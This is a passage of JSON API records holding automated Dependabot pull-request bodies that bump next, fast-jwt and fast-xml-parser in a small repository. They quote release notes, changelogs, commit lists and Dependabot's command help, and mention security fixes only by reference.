href=\"https://github.com/nearform/fast-jwt/commit/ad60c8353b1e9bbdcf79dd158a3636dc4dd73269\"\u003e\u003ccode\u003ead60c83\u003c/code\u003e\u003c/a\u003e chore: migrate to OIDC publishing for npm releases (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/569\"\u003e#569\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/4699c54de3820bb0e3d0622d3838d4e8ec98839a\"\u003e\u003ccode\u003e4699c54\u003c/code\u003e\u003c/a\u003e chore: import crypto once (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/568\"\u003e#568\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/b9c7bc3cfb54a007476f365b6250c20efb566231\"\u003e\u003ccode\u003eb9c7bc3\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump tsd from 0.32.0 to 0.33.0 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/567\"\u003e#567\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/315d44d29b5dd56a9e406f9c49a39cf864ad32ba\"\u003e\u003ccode\u003e315d44d\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 22.15.32 to 24.0.3 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/565\"\u003e#565\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/3683e00d7227d3dbc44c4f96fffd4c4a0195e5b2\"\u003e\u003ccode\u003e3683e00\u003c/code\u003e\u003c/a\u003e Release v6.0.2 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/564\"\u003e#564\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/f28ebf934ccbf894600437886248f3d147e90953\"\u003e\u003ccode\u003ef28ebf9\u003c/code\u003e\u003c/a\u003e Fix: error constructor in declaration file (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/562\"\u003e#562\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/2181bf1e218088a8b174b1f32902ebcb1ae5e335\"\u003e\u003ccode\u003e2181bf1\u003c/code\u003e\u003c/a\u003e docs: Add error handling section with examples (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/561\"\u003e#561\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/62341114debc84b676fab3cc7bbd9d30a7b36c20\"\u003e\u003ccode\u003e6234111\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump tsd from 0.31.2 to 0.32.0 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/558\"\u003e#558\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v4.0.5...v6.1.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by [GitHub Actions](\u003ca href=\"https://www.npmjs.com/~GitHub\"\u003ehttps://www.npmjs.com/~GitHub\u003c/a\u003e Actions), a new releaser for fast-jwt since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `fast-xml-parser` from 5.3.4 to 5.3.6\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/NaturalIntelligence/fast-xml-parser/releases\"\u003efast-xml-parser's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eEntity security and performance\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImprove security and performance of entity processing\n\u003cul\u003e\n\u003cli\u003enew options \u003ccode\u003emaxEntitySize\u003c/code\u003e, \u003ccode\u003emaxExpansionDepth\u003c/code\u003e, \u003ccode\u003emaxTotalExpansions\u003c/code\u003e, \u003ccode\u003emaxExpandedLength\u003c/code\u003e, \u003ccode\u003eallowedTags\u003c/code\u003e,\u003ccode\u003etagFilter\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003efast return when no edtity is present\u003c/li\u003e\n\u003cli\u003eimprovement replacement logic to reduce number of calls\u003c/li\u003e\n\u003cli\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/NaturalIntelligence/fast-xml-parser/compare/v5.3.5...v5.3.6\"\u003ehttps://github.com/NaturalIntelligence/fast-xml-parser/compare/v5.3.5...v5.3.6\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev5.3.5\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdd missing exports to fxp commonjs types by \u003ca href=\"https://github.com/jeremymeng\"\u003e\u003ccode\u003e@​jeremymeng\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/NaturalIntelligence/fast-xml-parser/pull/782\"\u003eNaturalIntelligence/fast-xml-parser#782\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Escape regex char in entity name\u003c/li\u003e\n\u003cli\u003eupdate strnum to 2.1.2\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jeremymeng\"\u003e\u003ccode\u003e@​jeremymeng\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/NaturalIntelligence/fast-xml-parser/pull/782\"\u003eNaturalIntelligence/fast-xml-parser#782\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/NaturalIntelligence/fast-xml-parser/compare/v5.3.4...v5.3.5\"\u003ehttps://github.com/NaturalIntelligence/fast-xml-parser/compare/v5.3.4...v5.3.5\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/NaturalIntelligence/fast-xml-parser/blob/master/CHANGELOG.md\"\u003efast-xml-parser's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003c!-- raw HTML omitted --\u003eNote: If you find missing information about particular minor version, that version must have been changed without any functional change in this library.\u003c!-- raw HTML omitted --\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e5.3.6 / 2026-02-14\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eImprove security and performance of entity processing\n\u003cul\u003e\n\u003cli\u003enew options \u003ccode\u003emaxEntitySize\u003c/code\u003e, \u003ccode\u003emaxExpansionDepth\u003c/code\u003e, \u003ccode\u003emaxTotalExpansions\u003c/code\u003e, \u003ccode\u003emaxExpandedLength\u003c/code\u003e, \u003ccode\u003eallowedTags\u003c/code\u003e,\u003ccode\u003etagFilter\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003efast return when no edtity is present\u003c/li\u003e\n\u003cli\u003eimprovement replacement logic to reduce number of calls\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e5.3.5 / 2026-02-08\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003efix: Escape regex char in entity name\u003c/li\u003e\n\u003cli\u003eupdate strnum to 2.1.2\u003c/li\u003e\n\u003cli\u003eadd missing exports in CJS typings\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e5.3.4 / 2026-01-30\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003efix: handle HTML numeric and hex entities when out of range\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e5.3.3 / 2025-12-12\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003efix \u003ca href=\"https://redirect.github.com/NaturalIntelligence/fast-xml-parser/issues/775\"\u003e#775\u003c/a\u003e: transformTagName with allowBooleanAttributes adds an unnecessary attribute\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e5.3.2 / 2025-11-14\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003efix for import statement for v6\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e5.3.1 / 2025-11-03\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ePerformance improvement for stopNodes (By \u003ca href=\"https://github.com/macieklamberski\"\u003eMaciek Lamberski\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e5.3.0 / 2025-10-03\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eUse \u003ccode\u003eUint8Array\u003c/code\u003e in place of \u003ccode\u003eBuffer\u003c/code\u003e in Parser\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e5.2.5 / 2025-06-08\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eInform user to use \u003ca href=\"https://github.com/NaturalIntelligence/fxp-cli\"\u003efxp-cli\u003c/a\u003e instead of in-built CLI feature\u003c/li\u003e\n\u003cli\u003eExport typings  for direct use\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e5.2.4 / 2025-06-06\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003efix (\u003ca href=\"https://redirect.github.com/NaturalIntelligence/fast-xml-parser/issues/747\"\u003e#747\u003c/a\u003e): fix EMPTY and ANY with ELEMENT in DOCTYPE\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e5.2.3 / 2025-05-11\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003efix (\u003ca href=\"https://redirect.github.com/NaturalIntelligence/fast-xml-parser/issues/747\"\u003e#747\u003c/a\u003e): support EMPTY and ANY with ELEMENT in DOCTYPE\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e5.2.2 / 2025-05-05\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003efix (\u003ca href=\"https://redirect.github.com/NaturalIntelligence/fast-xml-parser/issues/746\"\u003e#746\u003c/a\u003e): update strnum to fix parsing issues related to enotations\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e5.2.1 / 2025-04-22\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003efix: read DOCTYPE entity value correctly\u003c/li\u003e\n\u003cli\u003eread DOCTYPE NOTATION, ELEMENT exp but not using read values\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e5.2.0 / 2025-04-03\u003c/strong\u003e\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/NaturalIntelligence/fast-xml-parser/commit/ecb2ca118ad3d6c62f2cc90416b58da24db5d18b\"\u003e\u003ccode\u003eecb2ca1\u003c/code\u003e\u003c/a\u003e update release info\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/NaturalIntelligence/fast-xml-parser/commit/910dae5be2de2955e968558fadf6e8f74f117a77\"\u003e\u003ccode\u003e910dae5\u003c/code\u003e\u003c/a\u003e fix entities performance \u0026amp; security issues\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/NaturalIntelligence/fast-xml-parser/commit/fe9a85270122036ae22637167ce38a5f71b73a5f\"\u003e\u003ccode\u003efe9a852\u003c/code\u003e\u003c/a\u003e update strnum and release detail\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/NaturalIntelligence/fast-xml-parser/commit/943ef0eb1b2d3284e72dd74f44a042ee9f07026e\"\u003e\u003ccode\u003e943ef0e\u003c/code\u003e\u003c/a\u003e fix: Escape regex char in entity name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/NaturalIntelligence/fast-xml-parser/commit/ddcd0acf26ddd682cb0dc15a2bd6aa3b96bb1e69\"\u003e\u003ccode\u003eddcd0ac\u003c/code\u003e\u003c/a\u003e Escape regex char in entity name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/NaturalIntelligence/fast-xml-parser/commit/341b582219b1eb57e4c34ca58881602cba6b8711\"\u003e\u003ccode\u003e341b582\u003c/code\u003e\u003c/a\u003e Add missing exports to fxp commonjs types (\u003ca href=\"https://redirect.github.com/NaturalIntelligence/fast-xml-parser/issues/782\"\u003e#782\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/NaturalIntelligence/fast-xml-parser/compare/v5.3.4...v5.3.6\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/japperJ/v2test/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/japperJ/v2test/pull/1","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/japperJ%2Fv2test/issues/1","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/1/packages"}},{"old_version":"4.0.5","new_version":"6.1.0","update_type":"major","path":null,"pr_created_at":"2025-12-28T03:44:14.000Z","version_change":"4.0.5 → 6.1.0","issue":{"uuid":"3765295232","node_id":"PR_kwDOQv6HQs66uLrH","number":1,"state":"open","title":"Bump the npm_and_yarn group across 2 directories with 2 updates","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2025-12-28T03:44:14.000Z","updated_at":"2025-12-29T04:25:19.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","group_name":"npm_and_yarn","update_count":2,"packages":[{"name":"next","old_version":"15.0.3","new_version":"15.4.10","repository_url":"https://github.com/vercel/next.js"},{"name":"fast-jwt","old_version":"4.0.5","new_version":"6.1.0","repository_url":"https://github.com/nearform/fast-jwt"}],"path":null,"ecosystem":"npm"},"body":"Bumps the npm_and_yarn group with 1 update in the /packages/frontend directory: [next](https://github.com/vercel/next.js).\nBumps the npm_and_yarn group with 1 update in the /packages/api directory: [fast-jwt](https://github.com/nearform/fast-jwt).\n\nUpdates `next` from 15.0.3 to 15.4.10\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vercel/next.js/releases\"\u003enext's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev15.4.10\u003c/h2\u003e\n\u003cp\u003ePlease see the \u003ca href=\"https://nextjs.org/blog/security-update-2025-12-11\"\u003eNext.js Security Update\u003c/a\u003e for information about this security patch.\u003c/p\u003e\n\u003ch2\u003ev15.4.8\u003c/h2\u003e\n\u003cp\u003ePlease see \u003ca href=\"https://nextjs.org/blog/CVE-2025-66478\"\u003eCVE-2025-66478\u003c/a\u003e for additional details about this release.\u003c/p\u003e\n\u003ch2\u003ev15.3.8\u003c/h2\u003e\n\u003cp\u003ePlease see the \u003ca href=\"https://nextjs.org/blog/security-update-2025-12-11\"\u003eNext.js Security Update\u003c/a\u003e for information about this security patch.\u003c/p\u003e\n\u003ch2\u003ev15.3.6\u003c/h2\u003e\n\u003cp\u003ePlease see \u003ca href=\"https://nextjs.org/blog/CVE-2025-66478\"\u003eCVE-2025-66478\u003c/a\u003e for additional details about this release.\u003c/p\u003e\n\u003ch2\u003ev15.2.8\u003c/h2\u003e\n\u003cp\u003ePlease see the \u003ca href=\"https://nextjs.org/blog/security-update-2025-12-11\"\u003eNext.js Security Update\u003c/a\u003e for information about this security patch.\u003c/p\u003e\n\u003ch2\u003ev15.2.6\u003c/h2\u003e\n\u003cp\u003ePlease see \u003ca href=\"https://nextjs.org/blog/CVE-2025-66478\"\u003eCVE-2025-66478\u003c/a\u003e for additional details about this release.\u003c/p\u003e\n\u003ch2\u003ev15.1.11\u003c/h2\u003e\n\u003cp\u003ePlease see the \u003ca href=\"https://nextjs.org/blog/security-update-2025-12-11\"\u003eNext.js Security Update\u003c/a\u003e for information about this security patch.\u003c/p\u003e\n\u003ch2\u003ev15.1.9\u003c/h2\u003e\n\u003cp\u003ePlease see \u003ca href=\"https://nextjs.org/blog/CVE-2025-66478\"\u003eCVE-2025-66478\u003c/a\u003e for additional details about this release.\u003c/p\u003e\n\u003ch2\u003ev15.0.7\u003c/h2\u003e\n\u003cp\u003ePlease see the \u003ca href=\"https://nextjs.org/blog/security-update-2025-12-11\"\u003eNext.js Security Update\u003c/a\u003e for information about this security patch.\u003c/p\u003e\n\u003ch2\u003ev15.0.5\u003c/h2\u003e\n\u003cp\u003ePlease see \u003ca href=\"https://nextjs.org/blog/CVE-2025-66478\"\u003eCVE-2025-66478\u003c/a\u003e for additional details about this release.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/43cb5460c809ab97b6547b7765542cf16adcfc3c\"\u003e\u003ccode\u003e43cb546\u003c/code\u003e\u003c/a\u003e v15.4.10\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/6129673307eb9afd8fe7954162faa28064bc847b\"\u003e\u003ccode\u003e6129673\u003c/code\u003e\u003c/a\u003e Backport \u003ca href=\"https://redirect.github.com/facebook/react/issues/35351\"\u003efacebook/react#35351\u003c/a\u003e for 15.4.9 (\u003ca href=\"https://redirect.github.com/vercel/next.js/issues/87087\"\u003e#87087\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/d1449e513f1cb40739b4cd97fac5b6eaa3ea445c\"\u003e\u003ccode\u003ed1449e5\u003c/code\u003e\u003c/a\u003e v15.4.9\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/596f51338bf77e03a363b31963b2caa133b06ef9\"\u003e\u003ccode\u003e596f513\u003c/code\u003e\u003c/a\u003e Update React Version (\u003ca href=\"https://redirect.github.com/vercel/next.js/issues/42\"\u003e#42\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/2ff781e00bd7931507ed9302dff987c31a6d712e\"\u003e\u003ccode\u003e2ff781e\u003c/code\u003e\u003c/a\u003e Update React Version (\u003ca href=\"https://redirect.github.com/vercel/next.js/issues/31\"\u003e#31\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/d0edaaceacd453535af61d62a0cad26b4f92d7b3\"\u003e\u003ccode\u003ed0edaac\u003c/code\u003e\u003c/a\u003e Backport Next.js changes to v15.4.9 (\u003ca href=\"https://redirect.github.com/vercel/next.js/issues/24\"\u003e#24\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/bd845468a7f8f8fac639556f24abfab800662709\"\u003e\u003ccode\u003ebd84546\u003c/code\u003e\u003c/a\u003e lock binaries\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/49668475daba15ef8cea1d8e469dc0f9a765b635\"\u003e\u003ccode\u003e4966847\u003c/code\u003e\u003c/a\u003e v15.4.8\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/bf8d31c89caf0fc18efe91fb2dc3463fc03795c0\"\u003e\u003ccode\u003ebf8d31c\u003c/code\u003e\u003c/a\u003e update version script\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/bed530f7294241b9f92aa2ee5abc50a92e97b7fe\"\u003e\u003ccode\u003ebed530f\u003c/code\u003e\u003c/a\u003e Update React Version for Next.js 15.4.8 (\u003ca href=\"https://redirect.github.com/vercel/next.js/issues/9\"\u003e#9\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/vercel/next.js/compare/v15.0.3...v15.4.10\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `fast-jwt` from 4.0.5 to 6.1.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nearform/fast-jwt/releases\"\u003efast-jwt's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev6.1.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v6.0.2 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/564\"\u003enearform/fast-jwt#564\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 22.15.32 to 24.0.3 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/565\"\u003enearform/fast-jwt#565\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump tsd from 0.32.0 to 0.33.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/567\"\u003enearform/fast-jwt#567\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: import crypto once by \u003ca href=\"https://github.com/ilteoood\"\u003e\u003ccode\u003e@​ilteoood\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/568\"\u003enearform/fast-jwt#568\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: migrate to OIDC publishing for npm releases by \u003ca href=\"https://github.com/zibs\"\u003e\u003ccode\u003e@​zibs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/569\"\u003enearform/fast-jwt#569\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: expose TOKEN_ERROR_CODES and derive duplicated error code types from it by \u003ca href=\"https://github.com/wopian\"\u003e\u003ccode\u003e@​wopian\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/573\"\u003enearform/fast-jwt#573\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/zibs\"\u003e\u003ccode\u003e@​zibs\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/569\"\u003enearform/fast-jwt#569\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/wopian\"\u003e\u003ccode\u003e@​wopian\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/573\"\u003enearform/fast-jwt#573\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.0.2...v6.1.0\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.0.2...v6.1.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.0.2\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v6.0.1 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/557\"\u003enearform/fast-jwt#557\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump tsd from 0.31.2 to 0.32.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/558\"\u003enearform/fast-jwt#558\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: Add error handling section with examples by \u003ca href=\"https://github.com/simoneb\"\u003e\u003ccode\u003e@​simoneb\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/561\"\u003enearform/fast-jwt#561\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix: error constructor in declaration file by \u003ca href=\"https://github.com/atlowChemi\"\u003e\u003ccode\u003e@​atlowChemi\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/562\"\u003enearform/fast-jwt#562\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/atlowChemi\"\u003e\u003ccode\u003e@​atlowChemi\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/562\"\u003enearform/fast-jwt#562\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.0.1...v6.0.2\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.0.1...v6.0.2\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.0.1\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v6.0.0 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/554\"\u003enearform/fast-jwt#554\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeature: support negative expiresIn when signing tokens by \u003ca href=\"https://github.com/agubler\"\u003e\u003ccode\u003e@​agubler\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/556\"\u003enearform/fast-jwt#556\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca 